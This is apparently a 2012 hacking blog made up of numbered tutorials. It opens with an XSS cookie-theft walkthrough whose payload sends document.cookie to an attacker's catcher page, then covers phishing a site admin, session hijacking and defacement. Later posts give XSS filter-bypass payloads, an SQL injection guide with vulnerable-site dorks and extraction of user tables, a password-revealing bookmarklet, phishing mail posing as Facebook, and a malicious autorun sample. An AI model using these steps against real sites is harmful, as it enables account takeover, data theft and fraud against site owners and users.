Ok in this method we will make the victim admin go to our link. First we will pick a XSS vuln site. For this method we will need a search.php which that page is vuln to XSS and has cookies in that page. In the vuln search.php in the textbox for the word to search for type:

Code:

<script>alert(document.cookie)</script>

and click the search button. If you see a javascript popup means its vuln to Non-Persistent XSS attack. Ok now we will do something similar.
I will use this link for this method: http://adf.ly/TeZV
Now in front of the search.php?search= add this:

Code:

"><script>document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie</script>

Now go to http://www.tinyurl.com and shrink the whole page's link. Try to find a site administrator's E-mail in that vuln website and send a Fake Mail from a online fake mailer like this one:
http://hackcommunity.com/Thread-Anonymou...to-any-any

Now in the body just tell something fake like: Hey i found a huge bug in your website! and give him the shrinked link of the search.php which you added the code in front of it to him. so the Tinyurl will mask it and once he goes to the link you will see his cookies in your cookies.html and he will just be redirected to the link in your cookies catcher. No matter what he does and changes his password you can still login as him

Session Hijacking:

Ok now you have the admin's cookies either way, so we need to edit our own browser's cookies. First go to that page's admin login or its main page and delete ALL of your cookies from that page. Now go in your cookies.html page and copy everything in front of the Cookie: in a note opened Notepad. The ; separates cookies from each other so first copy the code before the ; .
Now go in that vuln website and clear the link. instead add this:

Code:

Javascript:void(document.cookie="")

or for an example:

Code:

Javascript:void(document.cookie="__utma=255621336.1130089386.1295743598.1305934653.1305950205.86")

Then visit the link. Do this with all of the cookies and refresh the page. And wham!!! your logged in as administrator :evil:
So now go in your admin panel and upload your deface page.

Good luck now you hacked a site with XSS

<<<<<<<<<<<<<<<<<FOR EDUCATIONAL PURPOSE ONLY...>>>>>>>>>>>>>>>>>>>>>>>.

2012-11-16T06:14:00.005-08:00

14.C|EH V7.1 MODULES TOTAL COLLECTION

Hi Friends This New Post On My Blog is To Provide And Educate You With The Greatest Resource C|EH V7.1 MODULES COLLECTION.
Before Getting InTo The Link , I Think Everybody Had Heared of C|EH(Certified Ethical Hacker) Program that Had Been Established By EC Council.

To Know More About It Just Google For It and Search Over In Wikipedia.

H3R3 15 7h6 D0wn104d 1ink/....

   Click Here To Download. <== DOWNLOAD HERE

If The RAR File Asked For Password Enter :k3lvinmitnick

2012-08-23T07:16:00.004-07:00

13.HOW TO BLOCK AND UNBLOCK WEBSITES.

Go to Start and then Run.
Type in this C:\WINDOWS\system32\drivers\etc
Now you will see file name Host open that in Notepad.
Below "127.0.0.1 localhost" add IP address of site to be blocked.
To unblock any site just reversed the process.

EXAMPLE

127.0.0.1 localhost
69.171.224.14 (This will block Facebook)

NOTE: For each site you block just add "1" to the IP (127.0.0.1)

2012-08-23T07:13:00.002-07:00

12.HOW TO GET PASSWORD BEHIND ASTERISKS.

This is trick will let you see password behind asterisks. You might be thinking what is asterisks. It is dots or stars you see when you type password. This trick will let you see password behind asterisks. often people save their password on browser so this trick will let you get their password easily.

Go to the page that contain password in asterisks.
Now copy the following code.

javascript:(function(){var s,F,j,f,i; s = ""; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == "password") s += f[i].value + "\n"; } } if (s) alert("Passwords in forms on this page:\n\n" + s); else alert("There are no passwords in forms on this page.");})();

Paste the code into address bar of the page.
Now you will get the password on that page.

NOTE: This trick works on internet explorer and might works on old version of other

web browser.

2012-08-23T07:07:00.002-07:00

11.SOME OF TOPPEST PROXY SITES TO SURF ANONYMOUS.

Below is the list of some good proxy site which you can use to surf anoymously on the internet . Even you can use this proxy sites to open block website in school or offices. For example you can use facebook if it is block at your school or office.

http://aniscartujo.com/webproxy
http://www.badboysproxy.com
http://www.surfscreened.com
http://www.hagiomusic.info
http://www.greenpips.info
http://urlbrowse.com
http://www.hideipaddress.net
http://www.sneakfilter.com
http://www.browsestealth.com
http://www.sneak1.info
http://proxiesrus.com
http://www.surfindark.com
http://www.navydog.com
http://falsario.com
http://www.proxypit.com
http://www.proxypan.com
http://myspacewebproxy.org/
http://www.allfreehere.info
http://www.takefreely.info
http://autobypass.com
http://www.proxcity.info
http://www.proxyzip.org
http://www.cheekyproxy.com
http://www.eggproxy.com
http://www.theschoolcloak.com
http://www.hidemefast.com
http://browseanywhere.info
http://www.404surf.com
http://www.cloakip.net
http://www.browsedark.com
http://www.dartprox.com
http://www.proxish.com
http://www.surfsneak.com
http://www.surfsneaky.com
http://www.browsehidden.com
http://www.filterhide.com
http://www.browsesneak.com
http://myspaceproxyy.com
http://www.browsesneaky.com
http://www.proxyz.us
http://www.sneakschool.com
http://www.iphide.com
http://www.proogle.info
http://greatproxy.info
http://www.playnsurf.info
http://www.realproxy.info
http://aplusproxy.com
http://www.ecoproxy.com
http://freedom.webtuo.com
http://www.slyuser.com/
http://tenpass.com
http://pawxy.com
http://pawxy.org
http://logu.in

2012-05-27T22:51:00.003-07:00

10.XSS ATTACKS

What is XSS?
Cross Site Scripting also known as XSS , is one of the most common web appliction vulnerability that allows an attacker to run his own client side scripts(especially Javascript) into web pages viewed by other users. In a typical XSS attack, a hacker inject his malicious javascript code in the legitimate website . When a user visit the infected or a specially-crafted link , it will execute the malicious javascript. A successfully exploited XSS vulnerability will allow attackers to do phishing attacks, steal accounts and even worms.

Example :Let us imagine, a hacker has discovered XSS vulnerability in Gmail and inject malicious script. When a user visit the site, it will execute the malicious script. The malicious code can be used to redirect users to fake gmail page or capture cookies. Using this stolen cookies, he can login into your account and change password.

It will be helpful for understanding XSS , if you have the following prerequisite:

Strong Knowledge in HTML,javascript(Reference ).
Basic Knowledge in HTTP client-Server Architecure(Reference )
[optional]Basic Knowledge about server side programming(php,asp,jsp)

XSS Attack:
Step 1: Finding Vulnerable Website
Hackers use google dork for finding the vulnerable sites for instance "?search=" or ".php?q=" . 1337 target specific sites instead of using google search. If you are going to test your own site, you have to check every page in your site for the vulnerability.

Step 2: Testing the Vulnerability:
First of all, we have to find a input field so that we can inject our own script, for example: search box, username,password or any other input fields.

Test 1 :
Once we found the input field, let us try to put some string inside the field, for instance let me input "BTS". It will display the result .

Now right click on the page and select view source. search for the string "BTS" which we entered in the input field. Note the location where the input is placed.

Test 2:
Now we are going to check whether the server sanitize our input or not. In order to do this , let us input the <script> tag inside the input field.

View the source of the page . Find the location where input displayed place in previous test.

Thank god, our code is not being sanitized by the server and the code is just same as what we entered in the field. If the server sanitize our input, the code may look like this <script>. This indicates that the website vulnerable to XSS attack and we can execute our own scripts .

Step 3: Exploiting the vulnerability
Now we know the site is somewhat vulnerable to XSS attack. But let us make sure whether the site is completely vulnerable to this attack by injecting a full javascript code. For instance, let us input <script>alert('BTS')</script> .

Now it will display pop-up box with 'BTS' string. Finally, we successfully exploit the XSS . By extending the code with malicious script, a hacker can do steal cookies or deface the site and more.

Types of XSS Based on persisting capability:
Based one Persistence capability, we can categorize the XSS attack into two types namely Persistent and Non-Persistent.

Persistent XSS:

The Persistent or Stored XSS attack occurs when the malicious code submitted by attacker is saved by the server in the database, and then permanently it will be run in the normal page.

For Example:
Many websites host a support forum where registered users can ask their doubts by posting message , which are stored in the database. Let us imagine , An attacker post a message containing malicious javascript code instead. If the server fail to sanitize the input provided, it results in execution of injected script. The code will be executed whenever a user try to read the post. If suppose the injected code is cookie stealing code, then it will steal cookie of users who read the post. Using the cookie, attacker can take control of your account.

Non-Persistent XSS:

Non-Persistent XSS, also referred as Reflected XSS , is the most common type of XSS found now a days. In this type of attack, the injected code will be send to the server via HTTPrequest. The server embedd the input with the html file and return the file(HTTPResponse) to browser. When the browser executes the HTML file, it also execute the embedded script. This kind of XSS vulnerability frequently occur in search fields.

Example:
Let us consider a project hosting website. To find our favorite project, we will just input the related-word in the search box . When searching is finished, it will display a message like this "search results for yourword " . If the server fail to sanitize the input properly, it will results in execution of injected script.

In case of reflected XSS attacks, attacker will send the specially-crafted link to victims and trick them into click the link. When user click the link, the browser will send the injected code to server, the server reflects the attack back to the users' browser. The browser then executes the code .

In addition to these types, there is also third type of attack called DOM Based XSS attack, i will explain about this attack in later posts.

What can an attacker do with this Vulnerability?

Stealing the Identity and Confidential Data(credit card details).
Bypassing restriction in websites.
Session Hijacking(Stealing session)
Malware Attack
Website Defacement
Denial of Service attacks(Dos)

Bypassing the XSS Filters : Advanced XSS Tutorials for Web application Pen Testing

Hi friends, last time, i explained what is XSS and how an attacker can inject malicious script in your site. As i promised earlier, i am writing this advanced XSS tutorial for you(still more articles will come).

Sometimes, website owner use XSS filters(WAF) to protect against XSS vulnerability.
For eg: if you put the <scirpt>alert("hi")</script> , the Filter will escape the "(quote) character , so the script will become

<script>alert(>xss detected<)</script>

Now this script won't work. Likewise Filters use different type of filtering method to give protection against the XSS. In this case, we can use some tricks to bypass the filter. Here i am going to cover that only.

1.Bypassing magic_quotes_gpc

The magic_quotes_gpc=ON is a PHP setting(configured in PHP.ini File) , it escapes the every ' (single-quote), " (double quote) and \ with a backslash automatically.
For Eg:
<scirpt>alert("hi");</script> will be filtered as <script>alert(\hi\)</script>.so the script won't work now.

This is well known filtering method, but we can easily bypass this filter by using ASCII characters instead.
For Eg: alert("hi"); can be converted to

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)

so the script will become <script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</script>. In this case there is no "(quotes) or '(single quotes) or / so the filter can't filter this thing. Yes, it will successfully run the script.

String.fromCharCode() is a javascript function that converts ASCII value to Characters.

How to convert to ASCII values?

There are some online sites that converts to ASCII character. But i suggest you to use Hackbar Mozilla addon .

After installing hackbar add on ,press F9. It will open the small box above the url bar. click the XSS->String.fromCharCode()

Now it will popup small window. enter the code for instance alert("Hi"). click ok button. Now we got the output.

copy the code into the <script></script> inside and insert in the vulnerable sites

For eg:

hxxp://vulnerable-site/search?q=<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</script>

2.HEX Encoding

we can encode our whole script into HEX code so that it can't be filtered.
For example: <script>alert("Hi");</script> can be convert to HEX as:

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e

Now put the code in the vulnerable site request.
For ex:

hxxp://vulnerable-site/search?q=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e

Converting to HEX:
This site will convert to hex code: http://centricle.com/tools/ascii-hex/

3.Bypassing using Obfuscation

Some website admin put the script,alert in restricted word list. so whenever you input this keywords, the filter will remove it and will give error message like "you are not allowed to search this". This can bypassed by changing the case of the keywords(namely Obfuscation).
For eg:

<ScRipt>ALeRt("hi");</sCRipT>

This bypass technique rarely works but giving trial is worth.

4. Closing Tag

Sometimes putting "> at the beginning of the code will work.

"><script>alert("Hi");</script>

This will end the previous opened tag and open our script tag.
Example:

hxxp://vulnerable-site/search?q="><script>alert("Hi");</script>

Conclusion:

From above article, it is clear that XSS filters alone not going to protect a site from the XSS attacks. If you really want to make your site more secure, then ask PenTesters to test your application or test yourself.

2012-05-27T22:27:00.004-07:00

9.SQL Injection: A Step-by-Step Tutorial

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

Step-by-Step tutorial for SQL Injection

Step 1: Find a website that is vulnerable to the attack. This is the first step in SQLi and like every other hack attack is the most time consuming, and is the only time consuming step. Once you get through this, rest is a cake-walk. Now, let us all know what kind of pages are vulnerable to this attack. We are providing you with a few dorks(google strings to find vulnerable sites). Though at the end of this post, we'll provide a list of vulnerable sites.

Dorks:

"inurl:index.php?catid="

"inurl:news.php?catid="

"inurl:index.php?id="

"inurl:news.php?id="

inurl:index.php?id=

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play_old.php?id=

inurl:declaration_more.php?decl_id=

inurl:pageid=

inurl:games.php?id=

inurl:page.php?file=

inurl:newsDetail.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:show.php?id=

inurl:staff_id=

inurl:newsitem.php?num=

inurl:readnews.php?id=

inurl:top10.php?cat=

inurl:historialeer.php?num=

inurl:reagir.php?num=

inurl:Stray-Questions-View.php?num=

inurl:forum_bds.php?num=

inurl:game.php?id=

inurl:view_product.php?id=

inurl:newsone.php?id=

inurl:sw_comment.php?id=

inurl:news.php?id=

inurl:avd_start.php?avd=

inurl:event.php?id=

inurl:product-item.php?id=

inurl:sql.php?id=

inurl:news_view.php?id=

inurl:select_biblio.php?id=

inurl:humor.php?id=

inurl:aboutbook.php?id=

inurl:ogl_inet.php?ogl_id=

inurl:fiche_spectacle.php?id=

inurl:communique_detail.php?id=

inurl:sem.php3?id=

inurl:kategorie.php4?id=

inurl:news.php?id=

inurl:index.php?id=

inurl:faq2.php?id=

inurl:show_an.php?id=

inurl:preview.php?id=

inurl:loadpsb.php?id=

inurl:opinions.php?id=

inurl:spr.php?id=

inurl:pages.php?id=

inurl:announce.php?id=

inurl:clanek.php4?id=

inurl:participant.php?id=

inurl:download.php?id=

inurl:main.php?id=

inurl:review.php?id=

inurl:chappies.php?id=

inurl:read.php?id=

inurl:prod_detail.php?id=

inurl:viewphoto.php?id=

inurl:article.php?id=

inurl:person.php?id=

inurl:productinfo.php?id=

inurl:showimg.php?id=

inurl:view.php?id=

inurl:website.php?id=

inurl:hosting_info.php?id=

inurl:gallery.php?id=

inurl:rub.php?idr=

inurl:view_faq.php?id=

inurl:artikelinfo.php?id=

inurl:detail.php?ID=

inurl:index.php?=

inurl:profile_view.php?id=

inurl:category.php?id=

inurl:publications.php?id=

inurl:fellows.php?id=

inurl:downloads_info.php?id=

inurl:prod_info.php?id=

inurl:shop.php?do=part&id=

inurl:productinfo.php?id=

inurl:collectionitem.php?id=

inurl:band_info.php?id=

inurl:product.php?id=

inurl:releases.php?id=

inurl:ray.php?id=

inurl:produit.php?id=

inurl:pop.php?id=

inurl:shopping.php?id=

inurl:productdetail.php?id=

inurl:post.php?id=

inurl:viewshowdetail.php?id=

inurl:clubpage.php?id=

inurl:memberInfo.php?id=

inurl:section.php?id=

inurl:theme.php?id=

inurl:page.php?id=

inurl:shredder-categories.php?id=

inurl:tradeCategory.php?id=

inurl:product_ranges_view.php?ID=

inurl:shop_category.php?id=

inurl:transcript.php?id=

inurl:channel_id=

inurl:item_id=

inurl:newsid=

inurl:trainers.php?id=

inurl:news-full.php?id=

inurl:news_display.php?getid=

inurl:index2.php?option=

inurl:readnews.php?id=

inurl:top10.php?cat=

inurl:newsone.php?id=

inurl:event.php?id=

inurl:product-item.php?id=

inurl:sql.php?id=

inurl:aboutbook.php?id=

inurl:preview.php?id=

inurl:loadpsb.php?id=

inurl:pages.php?id=

inurl:material.php?id=

inurl:clanek.php4?id=

inurl:announce.php?id=

inurl:chappies.php?id=

inurl:read.php?id=

inurl:viewapp.php?id=

inurl:viewphoto.php?id=

inurl:rub.php?idr=

inurl:galeri_info.php?l=

inurl:review.php?id=

inurl:iniziativa.php?in=

inurl:curriculum.php?id=

inurl:labels.php?id=

inurl:story.php?id=

inurl:look.php?ID=

inurl:newsone.php?id=

inurl:aboutbook.php?id=

inurl:material.php?id=

inurl:opinions.php?id=

inurl:announce.php?id=

inurl:rub.php?idr=

inurl:galeri_info.php?l=

inurl:tekst.php?idt=

inurl:newscat.php?id=

inurl:newsticker_info.php?idn=

inurl:rubrika.php?idr=

inurl:rubp.php?idr=

inurl:offer.php?idf=

inurl:art.php?idm=

inurl:title.php?id=

and you can also write your own.

DORKS FOR FINDING ADMIN PAGE:(Updated)

admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
phpSQLiteAdmin/
server_admin_small/
database_administration/
system_administration/

Dork for locating passwords(Updated)

http://*:*@www” site

passwords for site, stored as the string “http://username:password@www…”

filetype:bak inurl:”htaccess|passwd|shadow|ht users”

file backups, potentially containing user names and passwords

mdb files, potentially containing password information

intitle:”Index of” pwd.db

pwd.db files, potentially containing user names and encrypted passwords

inurl:admin inurl:backup intitle:index.of

directories whose names contain the words admin and backup

“Index of/” “Parent Directory” “WS _ FTP.ini”

filetype:ini WS _ FTP PWD

WS_FTP configuration files, potentially containing FTP server access passwords

ext:pwd inurl:(service|authors|administrators |users) “# -FrontPage-”

files containing Microsoft FrontPage passwords

filetype:sql (“passwd values ****” | “password values ****” | “pass values ****” )

files containing SQL code and passwords inserted into a database

intitle:index.of trillian.ini

configuration files for the Trillian IM

eggdrop filetype:user

user configuration files for the Eggdrop ircbot

filetype:conf slapd.conf

configuration files for OpenLDAP

inurl:”wvdial.conf” intext:”password”

configuration files for WV Dial

ext:ini eudora.ini

configuration files for the Eudora mail client

filetype:mdb inurl:users.mdb

Microsoft Access files, potentially containing user account information

How to check if a webpage is vulnerable to this attack???

Once you execute the dorks and get the preferred search results. Say for example

hxxp://www.abcd.com/index.php?catid=1

Add a ' (apos) at the end of the URL. Such that the URL looks like

hxxp://www.abcd.com/index.php?catid=1'

If the page returns an SQL error, the page is vulnerable to SQLi. If it loads normally, leave the page and move on to the next site in the search result.

Typical errors you'll get after appending the apostrophe are:

Warning: mysql_fetch_array():

Warning: mysql_fetch_assoc():

Warning: mysql_numrows():

Warning: mysql_num_rows():

Warning: mysql_result():

Warning: mysql_preg_match():

Step 2:Once you find a vulnerable site, you need to enumerate the number of columns and those columns that are accepting the queries from you.

Append an 'order by' statement to the URL.

eg. hxxp://www.abcd.com/index.php?catid=1 order by 1

Continue increasing the number after order by till you get an error. So the highest number for which you do not get an error is the number of columns in the table. Now to know the column numbers which are accepting the queries.

Append an 'Union Select' statement to the URL. Also precede the number after "id=" with a hyphen or minus.

Say from the above step, you got that the table has 6 columns.

eg. hxxp://www.abcd.com/index.php?catid=-1 union select 1,2,3,4,5,6

Result of this query will be the column numbers that are accepting the queries. Say we get 2,3,4 as the result. Now we'll inject our SQL statements in one of these columns.

Step 3: Enumerating the SQL version

We'll use the mysql command @@version or version() to get the version of the db. We have to inject the command in one of the open columns. Say we use column number 2.

eg. hxxp://www.abcd.com/index.php?catid=-1 union select 1,@@version,3,4,5,6

You'll get the version of the database in the place where you had got the number 2. If the starting of the version number is 5 or more, then you are good to go. If less move on to another site.

Step 4: Expolit

To get list of databases:

hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata--

Result will display a list of databases on the site. Here on, we'll write the results we have got from our test.

Result: information_schema,vrk_mlm

To know the current database in use:

hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(database()),3,4,5,6--

Result: vrk_mlm

To get the current user:

hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(user()),3,4,5,6--

Result: vrk_4mlm@localhost

To get the tables:

hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--

Result: administrator,category,product,users

We'll concentrate our attack on the users table.

To get the columns:

hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()--

Result: admin_id,user_name,password,user_type,status,catID,catName,prodId,catID,prodName,prodDesc,

prodKeyword,prodPrice,prodImage,id,incredible_id,f_name,m_name,l_name,refered_by_id,

refered_direct_to_ids,refered_to_ids,no_of_direct_referals,credits,position,

email_id,password,edited_on,last_login,created_on,chain_number,phone,address

By lookin at the columns closely, and the order of the tables, we can conclude that starting from id,incredible_id are the columns belonging to the users table and we are interested in that.

2012-05-13T02:19:00.000-07:00

8.How to Use Ravan for Password Cracking?

Let us see how to use the ravan tool for cracking passwords from obtained hashes..

Requriments:

Lot of Friends :

Ravan is Distributed password cracking method. So you will need lot of friends who have Pc with Internet connection. The speed of cracking will increase based on the number of pc contribute in the cracking.

How to use Ravan?

Step1:

Go to http://www.andlabs.org/tools/ravan.html
Enter the value of the hash that must be cracked
Enter the value of the salt, if it is not a salted hash then leave it blank
Enter the charset. Only these characters will be use in the brute force attack
Select the hashing algorithm (MD5, SHA1, SHA256, SHA512)
Select the position of the salt. (clear-text+salt or salt+clear-text)
Hit ‘Submit Hash’

Step 2:

If hash is successfully submitted, it would return a URL. Now you just need to send this URL to all your friends and ask them to click the start button.

The main page manages the cracking so it must not be closed or the cracking would fail.

That is it. Once your friends click start they would be doing pieces of the work and submitting results back.

The main page would constantly monitor the progress of the cracking process and manage it across all the workers. You would be able to see the stats throughout the process, once the hash is cracked the clear-text value is displayed.

2012-05-12T09:01:00.000-07:00

7.IS AUTORUN.INF TRIGGERS YOUR VIRUS?

my antivirus blocks autorun.inf files.

Today i bring some files from my friends system. When i insert the pen drive in my system, there are lot of exe files.They are viruses. I delete all of them. Finally i opened the autorun.inf file in notepad and saw the instructions. Then only i remembered that i forget to post about autorun file. This article will give you complete details about the autorun.inf file.
This is the instructions that saved in the infected(call virus programs) autorun.inf file:

[Autorun]
Open=RECYCLER\QqFvXcB.exe
Explore=RECYCLER\QqFvXcB.exe
AutoPlay=RECYCLER\QqFvXcB.exe
shell\Open\Command=RECYCLER\QqFvXcB.exe
shell\Open\Default=1
shell\Explore\command=RECYCLER\QqFvXcB.exe
shell\Autoplay\Command=RECYCLER\QqFvXcB.exe

is autorun.inf virus file? no. Then why antivirus block the autorun.inf files? Go ahead to know the full details about auto run file.

Introduction to Autorun.inf File:
Auto run is file that triggers other programs,documents ,other files to be opened when the cd or pen drives are inserted. Simpy triggers.

When cd or pen drives are inserted, windows will search for the autorun.inf file and follow the instructions of autorun.inf file(instructions have written inside the autorun.inf file).

How to create Autorun file?
Open notepad
type this command:

[Autorun]

save the file as "autorun.inf" (select all files, not text )

Complete Syntax and instructions inside the Autorun file:
Basic syntax must be inside the autorun.inf file is :

[Autorun]

This will be used to identify the the file as autorun.

OPEN=
This will specify which application should be opened when the cd or pen drive is opened

Example:

open=virus.exe

This will launch the virus.exe file when cd or pen drive is opened. The file should be in root directory.
if the file is in any other sub directories ,then we have to specify it.

Open=RECYCLER\Virus.exe

Explore=
Nothing big difference. if you right click and select explore option in cd or pen drive. This command will be run.

AutoPlay=
Same as the above , but it will launch the the program when auto played.

SHELL\VERB =

The SHELL\VERB command adds a custom command to the drive's shortcut menu. This custom command can for example be used to launch an application on the CD/DVD.

Example:

shell\Open\Command=RECYCLER\QqFvXcB.exe
shell\Open\Default=1
shell\Explore\command=RECYCLER\QqFvXcB.exe
shell\Autoplay\Command=RECYCLER\QqFvXcB.exe

Use a series of shell commands to specify one or more entries in the pop-up menu that appears when the user right-clicks on the CD icon. (The shell entries supplement the open command.)

Icon=
Change the icon of your pen drive or cd. you can use .ico,.bmp images(also .exe,.dll)

Example:

icon=breakthesecurity.ico

Label=

Specifies a text label to displayed for this CD in Explorer
Note that using the LABEL option can lead to problems displaying the selected ICON under Windows XP.

Example:

Label=Ethical hacking

Why Antivirus Block Autorun.inf file?
From above ,you come to know that autorun.inf file is not virus. But why antivirus blocks it? Because as i told autorun file call or launch any application or exe files. It will lead to virus attack. If the autorun.inf is blocked,then there is no way to launch the virus code.

Autorun is not virus but it can call virus files.

2012-05-12T08:54:00.002-07:00

6.How to send Anonymous Mail to anyone|Set up your own server

Everyone Like to send Anonymous Mail to your enemy or friend or teacher. Here is the Hacking tutorial for you to implement that. So i hope This will be best hack for you.

What is the Use?
I explained you in my older post how to get ip address. To get the ip address you need to send the mail with link. So You can send mail to your victim with that link such that you are contacting from an organization.

For Eg:
You can say we are from Facbook,we have new feature to enable the feature visit this page.

How to do?

Step 1:
First of all you need to register in free web hosting service which has PHP feature. So my choice is

x10hosting.com

Step 2:
Now Download this zip file:

Mail.php

Inside the file you can find the mail.php file. Extract the file

Step 3:
Now Go to x10hosting.com and login with your username and password.
Upload the "mail.php" file to "public_html" folder.

Step 4:
That's all you finished.
Now go to this page

yourhosturl/mail.php

Change the yourhosturl with your website url which you gave it when you register in x10hosting.com
For eg:
yourfavorites.x10.mx/mail.php

Usually the default will be "name.x10.mx"

When you visit you will see the form just like this:

Fill the form with your victim mail address and message subject and send

Don't give your details in the sender field.
Just fill with any organization name.
For Eg:
BestSurveyProviders

2012-05-12T08:50:00.002-07:00

5.What is Your Password ? How the Password should be?

What is your password ? is your password like 123456, 98654, billgates,yourname,lovername,iloveyou,thankyou? Then you will definitely loose your account soon. The hackers can easily hack your account with much effort.

Your password should be :

Above 10 letters
Both uppercase and lowercase letters
Should use special characters like '&'.
Should contain Numbers
Should not Use any names of your lover ,mother,father,etc.
Should not be usual words like iloveyou,ihateyou,ihateu.
Should not be your birthday like oct2010.

2012-05-12T08:46:00.002-07:00

4.Download Hash Code Verifier v1.0 : A tool to verify the File Integrity

Hello DGBZ Readers,
we are happy to announce that we have released our second security tool 'Hash Code Verifier'. Hash Code Verifier is a Cross-platform application to verify the Integrity of your download files. Hash Code verifier can be very useful if you want to check if a downloaded file is original and not corrupted or modified by hackers.

In order prevent users from such problem, websites often publish MD5 or SHA hash of the file so that users can ensue that a file has not been modified by checking the file's hash value . Hash Code verifier can generate hash for a file and allow user to check with the provided hash value.

Features:

Verify the Hash of a file
Calculate hash for multiple files
Compare Two files
Simply Drag and drop files from computer into the application for generating hash.
Supports MD5,SHA1,SHA256,SHA512 and CRC32 hash codes.
Save the generated hash list in a text/HTML format
Automatically generate hash when you browse or drop the files.
Yes, it is Cross-platform(You can use this application in any Operating system)

System Requirements:
Operating System: All OS(windows xp,7, Linux,Mac,....)
Java Runtime Environment: JRE 1.6 or higher version is required.(you can get it from oracle.com)

Download:

http://projects.breakthesecurity.com/Download.html

Screenshots:

2012-05-05T07:31:00.000-07:00

3.GENERAL INTRO ABOUT VIRUSES

A computer virus is a computer program that can replicate itself and spread from one computer to another. The term "virus" is also commonly, but erroneously, used to refer to other types ofmalware, including but not limited to adware and spyware programs that do not have a reproductive ability.

what are types of virus programs?

Virus programs

The Creeper virus was first detected on ARPANET, the forerunner of the Internet, in the early 1970s.Creeper was an experimental self-replicating program written by Bob Thomas at BBN Technologies in 1971.Creeper used the ARPANET to infect DEC PDP-10 computers running the TENEX operating system.Creeper gained access via the ARPANET and copied itself to the remote system where the message, "I'm the creeper, catch me if you can!" was displayed. The Reaper program was created to delete Creeper.

A program called "Elk Cloner" was the first personal computer virus to appear "in the wild"—that is, outside the single computer or lab where it was created. Written in 1981 by Richard Skrenta, it attached itself to the Apple DOS 3.3 operating system and spread via floppy disk. This virus, created as a practical joke when Skrenta was still in high school, was injected in a game on a floppy disk. On its 50th use the Elk Cloner virus would be activated, infecting the personal computer and displaying a short poem beginning "Elk Cloner: The program with a personality."

The first IBM PC virus in the wild was a boot sector virus dubbed (c)Brain, created in 1986 by the Farooq Alvi Brothers in Lahore, Pakistan, reportedly to deter piracy of the software they had written.

Before computer networks became widespread, most viruses spread on removable media, particularly floppy disks. In the early days of the personal computer, many users regularly exchanged information and programs on floppies. Some viruses spread by infecting programs stored on these disks, while others installed themselves into the disk boot sector, ensuring that they would be run when the user booted the computer from the disk, usually inadvertently. Personal computers of the era would attempt to boot first from a floppy if one had been left in the drive. Until floppy disks fell out of use, this was the most successful infection strategy and boot sector viruses were the most common in the wild for many years

